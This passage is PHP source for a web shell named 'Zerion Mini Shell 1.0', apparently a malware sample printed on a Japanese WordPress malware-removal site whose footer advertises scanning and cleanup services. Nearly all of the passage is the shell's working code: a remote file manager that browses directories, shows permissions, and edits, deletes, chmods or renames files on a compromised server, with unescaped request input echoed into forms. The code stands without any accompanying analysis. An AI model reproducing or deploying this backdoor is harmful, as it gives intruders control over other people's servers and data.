                    fclose($fp);
                }
                echo '<form method="POST">
<textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>';
            }
            echo '</center>';
        } else {
            echo '</table><br /><center>';
            if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
                if ($_POST['type'] == 'dir') {
                    if (rmdir($_POST['path'])) {
                        echo '<font color="green">Delete Dir Done.</font><br />';
                    } else {
                        echo '<font color="red">Delete Dir Error.</font><br />';
                    }
                } elseif ($_POST['type'] == 'file') {
                    if (unlink($_POST['path'])) {
                        echo '<font color="green">Delete File Done.</font><br />';
                    } else {
                        echo '<font color="red">Delete File Error.</font><br />';
                    }
                }
            }
            echo '</center>';
            $scandir = scandir($path);
            echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';
            foreach ($scandir as $dir) {
                if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') {
                    continue;
                }
                echo "<tr>\r\n<td><a href=\"?path={$path}/{$dir}\">{$dir}</a></td>\r\n<td><center>--</center></td>\r\n<td><center>";
                if (is_writable("{$path}/{$dir}")) {
                    echo '<font color="green">';
                } elseif (!is_readable("{$path}/{$dir}")) {
                    echo '<font color="red">';
                }
                echo perms("{$path}/{$dir}");
                if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) {
                    echo '</font>';
                }
                echo "</center></td>\r\n<td><center><form method=\"POST\" action=\"?option&path={$path}\">\r\n<select name=\"opt\">\r\n<option value=\"\"></option>\r\n<option value=\"delete\">Delete</option>\r\n<option value=\"chmod\">Chmod</option>\r\n<option value=\"rename\">Rename</option>\r\n</select>\r\n<input type=\"hidden\" name=\"type\" value=\"dir\">\r\n<input type=\"hidden\" name=\"name\" value=\"{$dir}\">\r\n<input type=\"hidden\" name=\"path\" value=\"{$path}/{$dir}\">\r\n<input type=\"submit\" value=\">\" />\r\n</form></center></td>\r\n</tr>";
            }
            echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
            foreach ($scandir as $file) {
                if (!is_file("{$path}/{$file}")) {
                    continue;
                }
                $size = filesize("{$path}/{$file}") / 1024;
                $size = round($size, 3);
                if ($size >= 1024) {
                    $size = round($size / 1024, 2) . ' MB';
                } else {
                    $size .= ' KB';
                }
                echo "<tr>\r\n<td><a href=\"?filesrc={$path}/{$file}&path={$path}\">{$file}</a></td>\r\n<td><center>" . $size . "</center></td>\r\n<td><center>";
                if (is_writable("{$path}/{$file}")) {
                    echo '<font color="green">';
                } elseif (!is_readable("{$path}/{$file}")) {
                    echo '<font color="red">';
                }
                echo perms("{$path}/{$file}");
                if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
                    echo '</font>';
                }
                echo "</center></td>\r\n<td><center><form method=\"POST\" action=\"?option&path={$path}\">\r\n<select name=\"opt\">\r\n<option value=\"\"></option>\r\n<option value=\"delete\">Delete</option>\r\n<option value=\"chmod\">Chmod</option>\r\n<option value=\"rename\">Rename</option>\r\n<option value=\"edit\">Edit</option>\r\n</select>\r\n\r\n<input type=\"hidden\" name=\"type\" value=\"file\">\r\n<input type=\"hidden\" name=\"name\" value=\"{$file}\">\r\n<input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\">\r\n<input type=\"submit\" value=\">\" />\r\n</form></center></td>\r\n</tr>";
            }
            echo '</table>
</div>';
        }
        echo '<center><br />Zerion Mini Shell <font color="green">1.0</font></center>
</BODY>
</HTML>';
        function perms($file)
        {
            $perms = fileperms($file);
            if (($perms & 0xc000) == 0xc000) {
                $info = 's';
            } elseif (($perms & 0xa000) == 0xa000) {
                $info = 'l';
            } elseif (($perms & 0x8000) == 0x8000) {
                $info = '-';
            } elseif (($perms & 0x6000) == 0x6000) {
                $info = 'b';
            } elseif (($perms & 0x4000) == 0x4000) {
                $info = 'd';
            } elseif (($perms & 0x2000) == 0x2000) {
                $info = 'c';
            } elseif (($perms & 0x1000) == 0x1000) {
                $info = 'p';
            } else {
                $info = 'u';
            }
            $info .= $perms & 0x100 ? 'r' : '-';
            $info .= $perms & 0x80 ? 'w' : '-';
            $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
            $info .= $perms & 0x20 ? 'r' : '-';
            $info .= $perms & 0x10 ? 'w' : '-';
            $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
            $info .= $perms & 0x4 ? 'r' : '-';
            $info .= $perms & 0x2 ? 'w' : '-';
            $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
            return $info;
        }
    }
), $L8CRgr[1]);
exit;


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.